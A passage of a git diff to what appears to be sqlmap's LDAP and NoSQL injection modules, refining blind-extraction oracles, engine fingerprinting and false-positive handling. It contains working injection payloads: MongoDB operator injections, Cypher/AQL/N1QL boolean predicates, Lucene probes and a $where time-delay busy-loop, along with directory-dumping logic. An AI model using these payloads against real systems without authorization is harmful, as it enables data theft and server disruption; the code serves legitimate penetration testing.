spuriously matches a trailing-space probe (e.g. - # mail=user@dom * matching user@dom), the extraction would - # otherwise chase an endless phantom suffix. Terminate and strip. - if value.endswith(" "): - value = value.rstrip() - break + # Three or more consecutive trailing spaces never occur in real + # directory data. When the server-side LDAP-to-SQL translation + # (or equivalent) spuriously matches a trailing-space probe (e.g. + # mail=user@dom * matching user@dom), the extraction would + # otherwise chase an endless phantom suffix. Terminate and strip. + if value.endswith(" "): + value = value.rstrip() + break + except InconclusiveError: + # a structural caller (entry-key enumeration) must SEE the abort to mark the dump partial - it + # is NOT end-of-data; a per-value caller instead gets None and renders an inconclusive marker + if strict: + raise + logger.warning("LDAP extraction aborted for attribute '%s' (oracle inconclusive after retries)" % attr) + return None logger.debug("LDAP blind inference: %d probes for attribute '%s' (length=%d)" % (probes, attr, len(value))) return value if value else None @@ -538,15 +608,24 @@ def _probeRootDSE(oracle, builder): def _enumerateEntryKeys(oracle, builder): for keyAttr in ENTRY_KEY_ATTRIBUTES: - if not _exists(oracle, builder, keyAttr): - continue + try: + if not _exists(oracle, builder, keyAttr): + continue + except InconclusiveError: + continue # existence unknown for this key attr -> try next - values = [] + values, partial = [], False while len(values) < LDAP_MAX_RECORDS: exclusions = [(keyAttr, _) for _ in values] - value = _inferAttribute(oracle, builder, keyAttr, exclusions=exclusions) + try: + # strict: an inconclusive NEXT-entry key probe is UNKNOWN, not the end of the directory + value = _inferAttribute(oracle, builder, keyAttr, exclusions=exclusions, strict=True) + except InconclusiveError: + partial = True + logger.warning("directory entry enumeration became inconclusive after %d entr%s; the dump is PARTIAL" % (len(values), "y" if len(values) == 1 else "ies")) + break - if not value or value in values: + if not value or value in values: # "" / repeat -> genuine end break values.append(value) @@ -555,13 +634,14 @@ def _enumerateEntryKeys(oracle, builder): if values: if len(values) >= LDAP_MAX_RECORDS: logger.warning("directory enumeration hit the LDAP_MAX_RECORDS (%d) cap; some entries may be omitted" % LDAP_MAX_RECORDS) - return keyAttr, values + partial = True # a truncated cap is NOT a complete dump + return keyAttr, values, partial - return None, [] + return None, [], False def _dumpEntries(oracle, builder, place, parameter): - keyAttr, keys = _enumerateEntryKeys(oracle, builder) + keyAttr, keys, partial = _enumerateEntryKeys(oracle, builder) if not keys: logger.warning("could not identify a stable directory entry key") return False @@ -579,21 +659,25 @@ def _dumpEntries(oracle, builder, place, parameter): continue logger.info("probing attribute '%s'" % attr) - if not _exists(oracle, builder, attr, constraint=constraint): - continue - + try: + if not _exists(oracle, builder, attr, constraint=constraint): + continue + except InconclusiveError: + continue # existence unknown -> skip this attribute + # an attribute confirmed to exist but whose value is inconclusive must show the marker, NOT + # be silently omitted (which would read as "attribute absent") value = _inferAttribute(oracle, builder, attr, constraint=constraint) - if value: - row[attr] = value - discovered.add(attr) + row[attr] = INCONCLUSIVE_MARK if value is None else value + discovered.add(attr) rows.append(row) columns = [keyAttr] + [_ for _ in DUMP_ATTRIBUTES if _ != keyAttr and _ in discovered] tableRows = [tuple(row.get(column, "") for column in columns) for row in rows] - logger.info("dumped %d entr%s" % (len(rows), "y" if len(rows) == 1 else "ies")) - _dumpTable("LDAP: %s parameter '%s' directory entries" % (place, parameter), columns, tableRows) + completeness = " (PARTIAL - entry enumeration aborted, oracle inconclusive)" if partial else "" + logger.info("dumped %d entr%s%s" % (len(rows), "y" if len(rows) == 1 else "ies", completeness)) + _dumpTable("LDAP: %s parameter '%s' directory entries%s" % (place, parameter, completeness), columns, tableRows) return True @@ -604,22 +688,20 @@ def _dumpMultiValues(oracle, builder, place, parameter): if not _exists(oracle, builder, attr): continue - # Multi-valued attributes (member, memberOf, ...) carry several values; - # walk them by excluding each recovered value from the next probe, exactly - # like _enumerateEntryKeys does for entry keys. - values = [] - while len(values) < LDAP_MAX_RECORDS: - exclusions = [(attr, _) for _ in values] - value = _inferAttribute(oracle, builder, attr, exclusions=exclusions) - if not value or value in values: - break - values.append(value) - - if values: - if len(values) >= LDAP_MAX_RECORDS: - logger.warning("attribute '%s' hit the LDAP_MAX_RECORDS (%d) cap; some values may be omitted" % (attr, LDAP_MAX_RECORDS)) - logger.info("fetched %d value%s from attribute '%s'" % (len(values), "" if len(values) == 1 else "s", attr)) - _dumpTable("LDAP: %s parameter '%s' '%s' values" % (place, parameter, attr), [attr], [(_,) for _ in values]) + # Multi-valued attributes (member, memberOf, uniqueMember) can hold several values in ONE entry. + # LDAP filters are ENTRY-scoped, so the intuitive "exclude each recovered value to get the next" + # walk is WRONG: (!(member=A)) excludes the whole ENTRY that holds member=A, so a second value of + # the SAME entry can never surface, and the probe may instead match a DIFFERENT entry that also + # carries the attribute - silently mixing entries while claiming a complete multi-value dump. + # Recovering one value per attribute and labelling it honestly is correct; true per-value + # enumeration needs a unique-entry binding or AD ranged retrieval (member;range=0-*), not + # negation. Report the single recovered value as exactly that. + value = _inferAttribute(oracle, builder, attr) + if value: + logger.info("recovered one matching value of multi-valued attribute '%s' " + "(full per-value enumeration is not proven over entry-scoped LDAP filters)" % attr) + _dumpTable("LDAP: %s parameter '%s' '%s' (one matching value, NOT full multi-value enumeration)" % (place, parameter, attr), + [attr], [(value,)]) dumped = True return dumped @@ -686,22 +768,28 @@ def ldapScan(): if template and breakout: found += 1 backend = backendHint or None - logger.info("%s parameter '%s' is vulnerable to LDAP injection (back-end: '%s')" % (place, parameter, backend or "Generic")) if conf.beep: beep() - oracle = _makeOracle(place, parameter, template) - slots.append(Slot(place=place, parameter=parameter, backend=backend, oracle=oracle, template=template, payload=payload, breakout=breakout)) + oracle = _makeOracle(place, parameter, breakout) + if oracle is None: + # detection confirmed, but the extraction true/false models are not reliably + # separable -> report the finding WITHOUT dumping (never fabricate directory data) + logger.info("%s parameter '%s' is vulnerable to LDAP injection (back-end: '%s'); " + "extraction disabled (true/false models not reliably separable)" % (place, parameter, backend or "Generic")) + conf.dumper.singleString("---\nParameter: %s (%s)\n Type: LDAP injection\n Title: LDAP boolean-based blind (extraction unavailable)\n Payload: %s\n---" % (parameter, place, payload)) + continue + logger.info("%s parameter '%s' is vulnerable to LDAP injection (back-end: '%s')" % (place, parameter, backend or "Generic")) + slots.append(Slot(place=place, parameter=parameter, backend=backend, oracle=oracle, template=oracle.template, payload=payload, breakout=breakout)) continue - # Phase 3: wildcard auth bypass (credential fields only). + # Phase 3: wildcard behavior on a credential field. A `*`-vs-random response difference is + # NOT a confirmed authentication bypass: it proves neither a query-boundary escape nor an + # authenticated-state transition (no redirect / session cookie / success-marker check here). + # Report it as INFORMATIONAL only - a confirmed bypass needs a real authenticated-state proof. bypass = _detectAuthBypass(place, parameter) if bypass: - found += 1 - logger.info("%s parameter '%s' allows LDAP wildcard auth bypass (password=*)" % (place, parameter)) - if conf.beep: - beep() - slots.append(Slot(place=place, parameter=parameter, bypass=bypass)) + logger.info("%s parameter '%s': wildcard '*' changes the response (possible LDAP filter influence / auth-bypass surface) - INFORMATIONAL, not a confirmed injection (no authenticated-state transition verified)" % (place, parameter)) continue # Parser-error alone is not exploitable -- log it but do not diff --git a/lib/techniques/nosql/inject.py b/lib/techniques/nosql/inject.py index 83909886cc7..484ef9fd63a 100644 --- a/lib/techniques/nosql/inject.py +++ b/lib/techniques/nosql/inject.py @@ -5,7 +5,6 @@ See the file 'LICENSE' for copying permission """ -import difflib import json import re import time @@ -15,6 +14,17 @@ from lib.core.common import beep from lib.core.common import randomStr +from lib.core.convert import getUnicode +from lib.utils.nonsql import userDecision +from lib.utils.nonsql import sqlErrorPresent +from lib.utils.nonsql import blockedStatus +from lib.utils.nonsql import ratio as _ratio +from lib.utils.nonsql import userOracleActive +from lib.utils.nonsql import InconclusiveError +from lib.utils.nonsql import INCONCLUSIVE_MARK +from lib.utils.nonsql import resolveBit +from lib.utils.nonsql import decide as _decide +from lib.utils.nonsql import Decision as _Decision from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger @@ -39,8 +49,11 @@ # Maximum number of characters of in-band (reflected) data surfaced from an always-true response NOSQL_DUMP_LIMIT = 4096 -# Delivery shapes that can carry an injection into a back-end filter/query -NOSQL_PLACES = (PLACE.GET, PLACE.POST, PLACE.URI, PLACE.CUSTOM_POST, PLACE.COOKIE) +# Delivery shapes that can carry an injection into a back-end filter/query. PLACE.URI is intentionally +# NOT listed: `_send` has no path-segment mutation (it would route a URI point through the generic +# form/query serializer, corrupting the request), so advertising it would be a false promise. Add it +# back only alongside real URI-marker (`*`) path mutation through sqlmap's URI machinery. +NOSQL_PLACES = (PLACE.GET, PLACE.POST, PLACE.CUSTOM_POST, PLACE.COOKIE) # Lucene regexp metacharacters (Elasticsearch/Solr) requiring escaping in built patterns LUCENE_META = set('.?+*|(){}[]"\\/') @@ -63,15 +76,26 @@ # HTTP status of the most recent request issued by _send() (None when bypassed, e.g. under tests) _lastCode = None +# set by _isError() whenever a probe response carries a recognized SQL/DBMS error - a strong sign +# the parameter is plainly SQL-injectable (not NoSQL); surfaced as a hint when nothing NoSQL matches +_sqlErrorSeen = False + # Resolved injection vector. `template` is the always-true page for content-based blind extraction # (None for time-based/detection-only); `bypass` is the always-true payload reported as a login/filter # bypass; `truth` overrides the content oracle (e.g. a timing predicate for the $where time-based path); # `dump` is a callable returning (columns, rows) for a whole-document dump (server-side-JS key enumeration). -Vector = namedtuple("Vector", ("dbms", "fetch", "lengthValue", "charValue", "template", "bypass", "truth", "dump")) -Vector.__new__.__defaults__ = (None, None, None, None) +# `bound` records whether a whole-document dump is provably tied to ONE record (a unique-ish sibling +# constraint pins it, or the walk keys on a unique per-record id like a Neo4j node id). When False the +# recovered fields may come from DIFFERENT matching documents, so the output is labelled representative +# rather than presented as one coherent document. +# `falseModel` is the always-FALSE (never-match) page, calibrated alongside `template` (the always-true +# page). Content-based blind extraction classifies each bit RELATIVE to BOTH models (shared resolveBit), +# so an unrelated usable page (session-expired / CAPTCHA / soft-WAF / validation) leans to neither and is +# INCONCLUSIVE rather than a fabricated false bit. When a false model cannot be calibrated, content +# extraction is DISABLED for that vector (never silently one-sided). +Vector = namedtuple("Vector", ("dbms", "fetch", "lengthValue", "charValue", "template", "bypass", "truth", "dump", "bound", "falseModel")) +Vector.__new__.__defaults__ = (None, None, None, None, True, None) -def _ratio(first, second): - return difflib.SequenceMatcher(None, first or "", second or "").quick_ratio() def _encode(value): return _urllib.parse.quote(value, safe="") @@ -96,6 +120,181 @@ def _jsonKey(parameter): return parameter[len(prefix):] return parameter +# --- JSON / JSON-like lexical scanner ----------------------------------------------------------- +# These skips give the mutation locator a real tokenizer's states so a 'key:'-looking fragment inside +# a string, comment, backtick template, or regex literal is never mistaken for a property, and a +# '}'/']' inside any of those never closes an object/array value early. + +def _skipString(body, i): + """`body[i]` is an opening quote (", ' or `); return the index just past the closing quote.""" + q, n, j, esc = body[i], len(body), i + 1, False + while j < n: + c = body[j] + if esc: + esc = False + elif c == "\\": + esc = True + elif c == q: + return j + 1 + j += 1 + return n + + +def _skipComment(body, i): + """`body[i:i+2]` is `//` or `/*`; return the index just past the comment.""" + if body[i + 1] == "/": + j = body.find("\n", i) + return len(body) if j == -1 else j + 1 + j = body.find("*/", i + 2) + return len(body) if j == -1 else j + 2 + + +def _skipRegex(body, i): + """`body[i]` is `/` in a value position; return the index past the closing `/` AND any trailing + flag letters (e.g. `/abc/gi`) of a JS regex literal (honouring `[...]` character classes and + escapes), or None when it is not a regex (no close on the line). Consuming the flags matters: a + regex VALUE's span must cover `/abc/i` in full, else the mutation would leave a dangling `i`.""" + n, j, esc, inClass = len(body), i + 1, False, False + while j < n: + c = body[j] + if esc: + esc = False + elif c == "\\": + esc = True + elif c == "[": + inClass = True + elif c == "]": + inClass = False + elif c == "\n": + return None + elif c == "/" and not inClass: + j += 1 + while j < n and body[j].isalpha(): # consume trailing regex flags (g/i/m/s/u/y/...) + j += 1 + return j + j += 1 + return None + + +def _jsonValueSpan(body, pos): + """Given `pos` just after a property's ':', return the [start, end) span of its value token - a + quoted/backtick string, a regex literal, a balanced object/array, or a scalar - or None. Strings, + comments and regex literals inside an object/array value are skipped so a '}'/']'/quote/':' within + any of them does not close the token early.""" + n = len(body) + while pos < n and body[pos] in " \t\r\n": + pos += 1 + if pos >= n: + return None + c = body[pos] + if c in ('"', "'", "`"): + return (pos, _skipString(body, pos)) + if c == "/" and pos + 1 < n and body[pos + 1] not in "/*": # regex-literal value + end = _skipRegex(body, pos) + return (pos, end if end else pos + 1) + if c in "{[": + close = "}" if c == "{" else "]" + depth, j = 0, pos + while j < n: + cj = body[j] + if cj in ('"', "'", "`"): + j = _skipString(body, j) + continue + if cj == "/" and j + 1 < n and body[j + 1] in "/*": + j = _skipComment(body, j) + continue + if cj == "/" and j + 1 < n: # possible regex inside the value + r = _skipRegex(body, j) + if r: + j = r + continue + if cj == c: + depth += 1 + elif cj == close: + depth -= 1 + if depth == 0: + return (pos, j + 1) + j += 1 + return None + j = pos + while j < n and body[j] not in ",}] \t\r\n": + j += 1 + return (pos, j) + + +def _jsonLocateValues(body, key): + """Return the [start, end) value span of EVERY genuine property named `key`. A genuine property + name is a quoted or bareword token OUTSIDE strings, comments, backtick templates and regex literals, + followed by ':', so a 'key:'-looking fragment inside any of those is never matched (the reviewer's + `{"note":"name: x",...}` and `{pattern:/name: trap/,...}` cases). `prevSig` tracks the last + significant char so a '/' in value position is read as a regex literal rather than division.""" + n, i = len(body), 0 + prevSig = "{" # a key/value is expected at the start + spans = [] + while i < n: + c = body[i] + if c in " \t\r\n": + i += 1 + continue + if c == "/" and i + 1 < n and body[i + 1] in "/*": + i = _skipComment(body, i) + continue + if c == "/" and prevSig in ":,[{(=": # regex literal in value position -> skip it whole + r = _skipRegex(body, i) + if r: + prevSig = "/" + i = r + continue + if c in ('"', "'", "`"): + end = _skipString(body, i) + k = end + while k < n and body[k] in " \t\r\n": + k += 1 + # a quoted (not backtick) token immediately followed by ':' is a property name + if c in ('"', "'") and body[i + 1:end - 1] == key and k < n and body[k] == ":": + span = _jsonValueSpan(body, k + 1) + if span: + spans.append(span) + i = span[1] # continue past the value to find other occurrences + prevSig = "v" + continue + prevSig, i = c, end + continue + if c.isalpha() or c == "_": # a bareword token (JSON-like unquoted key) + start = i + while i < n and (body[i].isalnum() or body[i] in "_$"): + i += 1 + k = i + while k < n and body[k] in " \t\r\n": + k += 1 + if body[start:i] == key and k < n and body[k] == ":": + span = _jsonValueSpan(body, k + 1) + if span: + spans.append(span) + i = span[1] + prevSig = "v" + continue + prevSig = "w" + continue + prevSig = c + i += 1 + return spans + + +def _jsonRawReplace(body, parameter, jsonValue): + """Replace ONLY the target property's value span with `json.dumps(jsonValue)`, located by the + string/comment/regex-aware scanner (never a regex sub, never a form serializer). Handles a value + that is a string, number, bool/null, object, array, or regex-with-flags, and preserves the rest of + the body byte-for-byte. With only the leaf key name available (no parsed path), an AMBIGUOUS body - + the same key name appearing at more than one place/depth - is NOT guessed: the probe is SKIPPED + (returns None) rather than mutate the wrong field. Returns None when the property is absent or + ambiguous (caller skips the probe).""" + spans = _jsonLocateValues(body, _jsonKey(parameter)) + if len(spans) != 1: # 0 = not found, >1 = ambiguous -> skip, never guess + return None + start, end = spans[0] + return body[:start] + json.dumps(jsonValue) + body[end:] + def _delim(place): # parameter delimiter for the place: ';' for cookies (per --cookie-del), '&' otherwise return (conf.cookieDel or ';') if place == PLACE.COOKIE else '&' @@ -141,13 +340,19 @@ def _send(place, parameter, segment=None, jsonValue=_UNSET): try: kwargs = {"raise404": False, "silent": True} - if jsonValue is not _UNSET and _isJsonBody() and place in (PLACE.POST, PLACE.CUSTOM_POST): - try: - data = json.loads(conf.data) - except Exception: - data = {} - data[_jsonKey(parameter)] = jsonValue - payload = kwargs["post"] = json.dumps(data) + jsonBody = jsonValue is not _UNSET and _isJsonBody() and place in (PLACE.POST, PLACE.CUSTOM_POST) + if jsonBody: + # Mutate ONLY the target property's value span in place, located by a string/comment-aware + # scanner. This is used for BOTH strict and JSON-like bodies: it is structurally safe (never + # matches a 'key:' fragment inside a string/comment), handles a value at any depth and of any + # type (string/number/object/array), preserves the rest of the body byte-for-byte, and never + # falls back to a form serializer. When the exact property cannot be located, SKIP the probe + # rather than send a corrupted body (a fabricated diff would be a false positive). + payload = _jsonRawReplace(conf.data, parameter, jsonValue) + if payload is None: + logger.debug("NoSQL: JSON property '%s' not locatable in the body; skipping probe" % _jsonKey(parameter)) + return None + kwargs["post"] = payload elif place == PLACE.COOKIE: payload = kwargs["cookie"] = _replaceSegment(place, parameter, segment) else: @@ -156,15 +361,32 @@ def _send(place, parameter, segment=None, jsonValue=_UNSET): logger.log(CUSTOM_LOGGING.PAYLOAD, _urllib.parse.unquote(payload)) # readable, surfaced at -v 3 like a regular sqlmap payload page, _, _lastCode = Request.getPage(**kwargs) + except Exception as ex: # a transport failure must never enter the oracle as "" + logger.debug("NoSQL probe request failed: %s" % getUnicode(ex)) + _lastCode = None + return None finally: conf.skipUrlEncode = skipUrlEncode return page or "" def _isError(page): - # a server-error status or a recognizable back-end error body marks a response as NOT a valid - # always-true template (prevents two differing error pages from faking a boolean oracle) - return (_lastCode or 0) >= 500 or bool(re.search(NOSQL_ERROR_REGEX, page or "")) + # a server-error status, a recognizable NoSQL error body, OR a recognized SQL/DBMS error marks a + # response as NOT a valid always-true template (prevents two differing error pages from faking a + # boolean oracle). The SQL/DBMS check is essential: a payload that trips a DBMS syntax error (e.g. + # numeric `cat=*` on MySQL -> "You have an error in your SQL syntax") yields a STABLE page that + # merely DIFFERS from a no-match page, which would otherwise fake a boolean oracle and misreport a + # plainly SQL-injectable parameter as NoSQL. htmlParser() reuses sqlmap's errors.xml signatures. + global _sqlErrorSeen + # a server error (>=500) or a WAF/rate-limit block (403/429) is BLOCKED/ERROR, never a valid + # template - a mid-scan 429 or a 403 block page must not be read as a "false" (or as divergence) + if blockedStatus(_lastCode) or bool(re.search(NOSQL_ERROR_REGEX, page or "")): + return True + # a DBMS-identifiable error (errors.xml signatures) OR sqlmap's generic SQL-error marker + if sqlErrorPresent(page): + _sqlErrorSeen = True + return True + return False def _fetch(place, parameter, op, value, isArray=False): """MongoDB/CouchDB dialect: renders the parameter as an operator object (bracket or JSON shape)""" @@ -183,15 +405,38 @@ def _boolean(truthy, falsy): content divergence - i.e. the payload reached and influenced the back-end - else None""" truePage = truthy() - if not truePage or _isError(truePage): # an error response is never a valid always-true template + if not truePage or _isError(truePage): # an error/blocked response is never a valid template + return None + if _ratio(truePage, truthy()) <= UPPER_RATIO_BOUND: # the TRUE side must independently reproduce return None falsePage = falsy() - if _ratio(truePage, truthy()) > UPPER_RATIO_BOUND and _ratio(truePage, falsePage) < UPPER_RATIO_BOUND: + if not falsePage or _isError(falsePage): # a false-side error must not pass as "divergence" + return None + if _ratio(falsePage, falsy()) <= UPPER_RATIO_BOUND: # the FALSE side must independently reproduce too + return None + + # with an explicit user oracle (--string/--not-string/--regexp), require the true page to classify + # TRUE and the false page FALSE - do not fall back to raw similarity that the user overrode + if userOracleActive(): + return truePage if (userDecision(truePage) is True and userDecision(falsePage) is False) else None + + if _ratio(truePage, falsePage) < UPPER_RATIO_BOUND: # ... and true must differ from false return truePage return None +def _reproduced(sendFn): + """Send a never-matching (always-FALSE) payload twice and return its page as the FALSE model, or + None when it is unusable or not reproducible. Used to calibrate the false model each content vector + carries so extraction classifies bits relative to BOTH models (else extraction is disabled).""" + p1 = sendFn() + if not p1 or _isError(p1): + return None + if _ratio(p1, sendFn()) <= UPPER_RATIO_BOUND: + return None + return p1 + def _detectMongo(place, parameter): # $ne (matches everything) vs $in [sentinel] (matches nothing); $gt '' (matches any string) is a # fallback always-true for apps that filter $ne but not the comparison operators @@ -199,8 +444,17 @@ def _detectMongo(place, parameter): or _boolean(lambda: _fetch(place, parameter, "$gt", ""), lambda: _fetch(place, parameter, "$in", NOSQL_SENTINEL, isArray=True)) def _detectES(place, parameter): - # query_string '*' (matches everything) vs a literal sentinel (matches nothing) - return _boolean(lambda: _fetchValue(place, parameter, '*'), lambda: _fetchValue(place, parameter, NOSQL_SENTINEL)) + # '*' (matches everything) vs a literal sentinel (matches nothing) is a cheap FIRST-PASS trigger, + # but on its own it is NOT proof of injection: many search APIs treat '*' as a wildcard by design. + template = _boolean(lambda: _fetchValue(place, parameter, '*'), lambda: _fetchValue(place, parameter, NOSQL_SENTINEL)) + if not template: + return None + # STRUCTURAL proof the value is parsed as a Lucene query_string (not used as a literal search term): + # boolean operators the parser evaluates - `(NOT )` matches all, `( AND NOT )` + # matches nothing - whereas a plain wildcard-search box treats both as a literal string (no divergence). + if not _confirm(place, parameter, "(NOT %s)" % NOSQL_SENTINEL, "(%s AND NOT %s)" % (NOSQL_SENTINEL, NOSQL_SENTINEL)): + return None + return template def _detectCypher(place, parameter): # single-quote break-out: OR '1'='1' (true) vs OR '1'='2' (false) @@ -220,19 +474,33 @@ def _detectNumeric(place, parameter): template = _boolean(lambda: _fetchValue(place, parameter, "%s OR 1=1" % value), lambda: _fetchValue(place, parameter, "%s AND 1=2" % value)) if template: - # Cypher, N1QL and PartiQL share OR/AND; tell them apart by a constant-arg, field-free primitive - # each engine alone honors: N1QL REGEXP_CONTAINS, DynamoDB begins_with (Cypher has neither) + # CRITICAL: `OR 1=1`/`AND 1=2` is IDENTICAL to classic SQL injection, so a bare divergence here + # is AMBIGUOUS - a plain SQL-injectable numeric parameter diverges exactly the same way. It is a + # NoSQL finding ONLY when an engine-SPECIFIC primitive (one no SQL back-end implements) ALSO + # confirms: N1QL REGEXP_CONTAINS, DynamoDB begins_with, Cypher STARTS WITH. Without such positive + # proof we must NOT attribute a DBMS (the old `else: Neo4j` default turned every SQL-injectable + # numeric parameter into a false Neo4j positive) - return None and let SQL detection handle it. if _confirm(place, parameter, "%s OR REGEXP_CONTAINS('ab', 'a') OR 1=2" % value, "%s OR REGEXP_CONTAINS('ab', 'z') OR 1=2" % value): dbms = "Couchbase" elif _confirm(place, parameter, "%s OR begins_with('ab', 'a') OR 1=2" % value, "%s OR begins_with('ab', 'z') OR 1=2" % value): dbms = "DynamoDB" - else: + elif _confirmBattery(place, parameter, + lambda p: "%s OR %s OR 1=2" % (value, p), + lambda p: "%s OR %s OR 1=2" % (value, p), _CYPHER_PREDICATES): dbms = "Neo4j" + else: + return None return dbms, template, "%s OR 1=1" % value template = _boolean(lambda: _fetchValue(place, parameter, "%s || 1==1" % value), lambda: _fetchValue(place, parameter, "%s && 1==2" % value)) if template: - return "ArangoDB", template, "%s || 1==1" % value + # AQL `||`/`&&`/`==`; a PIPES_AS_CONCAT SQL engine can partly mimic `||`, so require a positive + # AQL-specific primitive from the battery (functions SQL lacks: two-arg LIKE, CONTAINS, LENGTH, REGEX_TEST) + if _confirmBattery(place, parameter, + lambda p: "%s || %s || 1==2" % (value, p), + lambda p: "%s || %s || 1==2" % (value, p), _AQL_PREDICATES): + return "ArangoDB", template, "%s || 1==1" % value + return None return None @@ -242,7 +510,7 @@ def _detectError(place, parameter): normal = _fetchValue(place, parameter, original) broken = _fetchValue(place, parameter, original + "'") - if not normal or _ratio(normal, broken) >= UPPER_RATIO_BOUND: + if not normal or not broken or _ratio(normal, broken) >= UPPER_RATIO_BOUND: # None broken -> no crash on .lower() return None for engine, tokens in ERROR_SIGNATURES: @@ -257,22 +525,26 @@ def _detectError(place, parameter): return None def _fingerprintMongo(place, parameter): - page = _fetch(place, parameter, "$regex", '(').lower() # invalid regexp -> driver/DB error + page = (_fetch(place, parameter, "$regex", '(') or "").lower() # invalid regexp -> driver/DB error (None-safe) if any(_ in page for _ in ("couch", "mango", "bad_arg", "erlang")): return "CouchDB" elif any(_ in page for _ in ("mongo", "bson", "regular expression", "$regex")): return "MongoDB" else: - return "MongoDB (assumed)" + # operator injection worked but no product-specific signature leaked - name the FAMILY, + # not a specific product we cannot prove + return "MongoDB/CouchDB-compatible operator back-end" def _fingerprintLucene(place, parameter): - page = _fetchValue(place, parameter, "/[/").lower() # invalid regexp -> engine error + page = (_fetchValue(place, parameter, "/[/") or "").lower() # invalid regexp -> engine error (None-safe) if any(_ in page for _ in ("solr", "solrexception")): return "Solr" elif "opensearch" in page: return "OpenSearch" else: - return "Elasticsearch" + # Lucene query_string parsing confirmed but no product signature - name the FAMILY (this is + # most commonly Elasticsearch, but Solr/OpenSearch/Lucene share the syntax) + return "Lucene query_string-compatible back-end" def _constraint(place, parameter, eq='=', conj=" AND ", prefix="u."): """Re-expresses sibling parameters as query constraints (field == parameter name) so extraction @@ -286,8 +558,17 @@ def _constraint(place, parameter, eq='=', conj=" AND ", prefix="u."): continue name, _, value = segment.partition('=') name = name.strip() - if name and name != parameter: - parts.append("%s%s%s'%s'" % (prefix, name, eq, value)) + if not name or name == parameter: + continue + # only bind a sibling whose name is a plain field identifier: a dotted/quoted/operator/spaced + # name could change the PREDICATE STRUCTURE (not just add a filter) once interpolated, so it is + # skipped rather than trusted (the reviewer's "verified relationship" bar) + if not re.match(r"(?i)\A[a-z_][\w]*\Z", name): + continue + # escape the literal so a quote/backslash in the value cannot break out of the single-quoted + # string and alter/invalidate the predicate (Cypher/AQL/$where-JS all single-quote + backslash) + literal = value.replace("\\", "\\\\").replace("'", "\\'") + parts.append("%s%s%s'%s'" % (prefix, name, eq, literal)) return (conj.join(parts) + conj) if parts else "" @@ -296,55 +577,171 @@ def _confirm(place, parameter, truePayload, falsePayload): # regexp-match primitive (e.g. Cypher '=~' vs N1QL 'REGEXP_CONTAINS') for a true/false divergence return _boolean(lambda: _fetchValue(place, parameter, truePayload), lambda: _fetchValue(place, parameter, falsePayload)) is not None +# Engine-specific primitive BATTERIES: each pair is (true_predicate, false_predicate) that differ +# ONLY in the engine-unique construct, so the divergence is attributable to that construct alone (a +# SQL back-end errors on every one of them -> no divergence). A rich battery (not a single primitive) +# makes attribution robust to an injection context that rejects any one function AND, by WHICH members +# fire, fingerprints the engine. Live-validated on the karlobag testbed (each flips on the real engine, +# none flips on the MySQL junkyard). Constant expressions only (no field reference needed). +_CYPHER_PREDICATES = ( # Neo4j Cypher + ("'ab' STARTS WITH 'a'", "'ab' STARTS WITH 'z'"), + ("'ab' ENDS WITH 'b'", "'ab' ENDS WITH 'z'"), + ("'ab' CONTAINS 'a'", "'ab' CONTAINS 'z'"), + ("size(['a','b'])=2", "size(['a','b'])=3"), + ("toInteger('7')=7", "toInteger('7')=8"), +) +_AQL_PREDICATES = ( # ArangoDB AQL + ("LIKE('ab', 'a%')", "LIKE('ab', 'z%')"), + ("CONTAINS('ab', 'a')", "CONTAINS('ab', 'z')"), + ("LENGTH('ab')==2", "LENGTH('ab')==3"), + ("REGEX_TEST('ab','^a')", "REGEX_TEST('ab','^z')"), +) + +def _confirmBattery(place, parameter, wrapTrue, wrapFalse, battery): + """Positive engine proof: return True as soon as ANY battery predicate flips true/false in the + verified break-out context. `wrapTrue`/`wrapFalse` are callables mapping a predicate to a payload.""" + for truePred, falsePred in battery: + if _confirm(place, parameter, wrapTrue(truePred), wrapFalse(falsePred)): + return True + return False + def _timed(call): start = time.time() call() return time.time() - start +# --- tri-state extraction oracle (shared contract with the XPath/LDAP/HQL/GraphQL engines) ---------- +# A failed / blocked / error response is UNKNOWN, never a silent False bit. These resolvers reject an +# unusable response, RE-SEND it up to a bound, and raise InconclusiveError on persistent ambiguity so +# the per-value extractor aborts (returns None) instead of fabricating a length/char/count. `_NOSQL_RETRIES` +# is small - a couple of fresh sends are enough to ride out transient jitter. +_NOSQL_RETRIES = 2 + + +def _contentBit(fetchFn, value, trueModel, falseModel=None, retries=_NOSQL_RETRIES): + """Tri-state CONTENT bit. An unusable response (None / blocked / DBMS-error) is retried, then aborts + (InconclusiveError). When a `falseModel` is available, a usable page is classified RELATIVE to BOTH + models via the shared `resolveBit`: it must lean clearly to the true model over the false model by a + margin, else it is INCONCLUSIVE (re-sent, then aborts) - so an unrelated usable page (session-expired, + soft-WAF, validation) becomes UNKNOWN, never a false bit that corrupts the value. Without a false + model (legacy callers) it falls back to a true-model similarity threshold.""" + + def send(): + page = fetchFn(value) + return None if (page is None or _isError(page)) else page + + if falseModel is not None: + return resolveBit(send(), trueModel, falseModel, send, retries=retries) + + for _attempt in range(retries + 1): + page = send() + if page is not None: + return _ratio(page, trueModel) > UPPER_RATIO_BOUND + raise InconclusiveError() + + +def _timedResponse(place, parameter, payload): + """Return (elapsed_seconds, usable) for a timing probe. `usable` is False for a transport failure or + a blocked/error response, so a WAF-induced delay can never be read as a true timing bit.""" + start = time.time() + page = _fetchValue(place, parameter, payload) + elapsed = time.time() - start + return elapsed, (page is not None and not _isError(page)) + + +def _timedBit(place, parameter, payload, threshold, retries=_NOSQL_RETRIES): + """Tri-state TIMING bit with an ambiguity band. A usable reading clearly above threshold+margin is + True; clearly below threshold-margin is False; a reading NEAR the threshold (or an unusable one) is + RE-SAMPLED, and if it never separates cleanly the bit aborts (InconclusiveError) rather than being + guessed. A blocked/error response is never counted as a (slow) true bit.""" + margin = max(0.5, conf.timeSec * 0.25) + for _attempt in range(retries + 2): + elapsed, usable = _timedResponse(place, parameter, payload) + if not usable: + continue + if elapsed > threshold + margin: + return True + if elapsed < threshold - margin: + return False + # near the threshold: do not decide on one ambiguous sample - loop and re-sample + raise InconclusiveError() + def _whereDelay(condition): # MongoDB $where (server-side JS) string break-out: busy-loops for ~conf.timeSec seconds whenever # the per-document JS `condition` holds, yielding a timing oracle when no content differential # exists. The document is passed in as `d` (inside the function `this` is not the document). - return "%s' || (function(d){if(%s){var t=new Date().getTime();while(new Date().getTime()-t<%d){}}return false})(this) || '1'=='2" % (NOSQL_SENTINEL, condition, int(conf.timeSec * 1000)) + # + # DoS BOUND: `$where` runs the function for EVERY document in the collection, so an unconditional or + # loose `condition` on a large collection would busy-loop docCount*timeSec seconds and hang the + # server on a single request. A counter kept in the 